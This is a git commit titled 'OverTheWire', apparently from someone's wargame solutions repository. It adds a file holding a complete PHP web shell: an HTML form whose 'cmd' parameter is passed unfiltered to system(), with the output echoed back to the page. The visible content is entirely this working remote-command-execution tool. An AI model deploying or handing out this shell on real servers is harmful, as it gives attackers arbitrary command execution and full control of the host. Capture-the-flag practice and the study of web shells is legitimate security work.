OverTheWire

This commit is contained in:
Emile Clark-Boman 2025-07-15 22:44:06 +10:00
commit 500329a86b
17 changed files with 889 additions and 0 deletions

View file

@ -0,0 +1,16 @@
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>